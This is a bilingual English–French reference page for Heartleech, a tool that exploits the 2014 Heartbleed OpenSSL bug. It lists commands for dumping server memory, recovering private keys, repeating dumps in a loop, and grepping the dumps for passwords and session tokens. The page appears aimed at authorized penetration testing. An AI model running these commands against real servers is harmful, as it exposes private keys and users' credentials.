Heartleech
Exploite la vulnérabilité Heartbleed (CVE-2014-0160) pour extraire des morceaux de mémoire d'un serveur TLS vulnérable. Exploits the Heartbleed vulnerability (CVE-2014-0160) to extract chunks of memory from a vulnerable TLS server.
↗ https://github.com/robertdavidgraham/heartleechOverview
Heartleech is a dedicated exploitation tool for Heartbleed, the 2014 OpenSSL TLS heartbeat extension bug that lets a remote attacker read up to 64KB of a server’s process memory per request — potentially leaking private keys, session tokens, and credentials. It automates repeated exploitation to harvest memory over time and includes a mode specifically aimed at recovering the server’s private key.
Common Usage
Basic check/exploit against a target on the default HTTPS port
heartleech <target> -p 443
Save leaked memory to a file for offline analysis (strings, grep)
heartleech <target> -p 443 -o leaked_memory.bin
Attempt to recover the server’s private key specifically
heartleech <target> -p 443 --key
Specify a non-HTTPS TLS service (e.g. SMTP STARTTLS)
heartleech <target> -p 25 --starttls smtp
Post-Exploitation
Search leaked memory dumps for interesting strings
strings leaked_memory.bin | grep -iE "password|authorization|session"
# Repeated runs accumulate more memory coverage over time
for i in $(seq 1 100); do heartleech <target> -p 443 -o dump_$i.bin; done
cat dump_*.bin > all_dumps.bin
Tips
- Only effective against unpatched OpenSSL versions (1.0.1 through 1.0.1f, fixed in 1.0.1g) — verify vulnerability first, e.g. via
nmap --script ssl-heartbleed - The private-key recovery mode (
--key) requires many successful leaks and is not guaranteed to succeed - Purely historical/legacy relevance on modern engagements — virtually all internet-facing services patched this over a decade ago; still occasionally found on neglected embedded/appliance TLS stacks
- Always confirm authorization scope explicitly before running — memory disclosure can expose highly sensitive data unrelated to the test scope
Help / Man page
heartleech <host> [options]
-p <port> Target port (default 443)
-o <file> Save leaked memory to file
--key Attempt private key recovery mode
--starttls <proto> Use STARTTLS negotiation (smtp, pop3, imap, ftp)
--autoretry Automatically retry on connection failure
--count <n> Number of heartbeat requests to send
--sni <hostname> Set SNI hostname for the TLS handshake
-v Verbose output
Vue d’ensemble
Heartleech est un outil d’exploitation dédié à Heartbleed, la faille de 2014 dans l’extension heartbeat TLS d’OpenSSL qui permet à un attaquant distant de lire jusqu’à 64 Ko de la mémoire de processus d’un serveur par requête, pouvant potentiellement divulguer des clés privées, des jetons de session et des identifiants. Il automatise l’exploitation répétée pour récolter de la mémoire dans le temps et inclut un mode spécifiquement destiné à récupérer la clé privée du serveur.
Utilisation courante
# Vérification/exploitation de base contre une cible sur le port HTTPS par défaut
heartleech <target> -p 443
# Sauvegarder la mémoire divulguée dans un fichier pour analyse hors ligne (strings, grep)
heartleech <target> -p 443 -o leaked_memory.bin
# Tenter de récupérer spécifiquement la clé privée du serveur
heartleech <target> -p 443 --key
# Spécifier un service TLS autre que HTTPS (par ex. SMTP STARTTLS)
heartleech <target> -p 25 --starttls smtp
Post-exploitation
# Rechercher des chaînes intéressantes dans les dumps mémoire divulgués
strings leaked_memory.bin | grep -iE "password|authorization|session"
# Les exécutions répétées accumulent une couverture mémoire plus large dans le temps
for i in $(seq 1 100); do heartleech <target> -p 443 -o dump_$i.bin; done
cat dump_*.bin > all_dumps.bin
Conseils
- Efficace uniquement contre des versions OpenSSL non patchées (1.0.1 à 1.0.1f, corrigé en 1.0.1g) : vérifiez d’abord la vulnérabilité, par exemple via
nmap --script ssl-heartbleed - Le mode de récupération de clé privée (
--key) nécessite de nombreuses fuites réussies et n’est pas garanti de réussir - Purement d’intérêt historique/legacy sur les missions modernes : quasiment tous les services exposés sur internet ont patché cela il y a plus d’une décennie ; encore occasionnellement trouvé sur des piles TLS embarquées/appliances négligées
- Confirmez toujours explicitement le périmètre d’autorisation avant de lancer : la divulgation de mémoire peut exposer des données hautement sensibles sans rapport avec le périmètre du test
Aide / Page de manuel
heartleech <host> [options]
-p <port> Target port (default 443)
-o <file> Save leaked memory to file
--key Attempt private key recovery mode
--starttls <proto> Use STARTTLS negotiation (smtp, pop3, imap, ftp)
--autoretry Automatically retry on connection failure
--count <n> Number of heartbeat requests to send
--sni <hostname> Set SNI hostname for the TLS handshake
-v Verbose output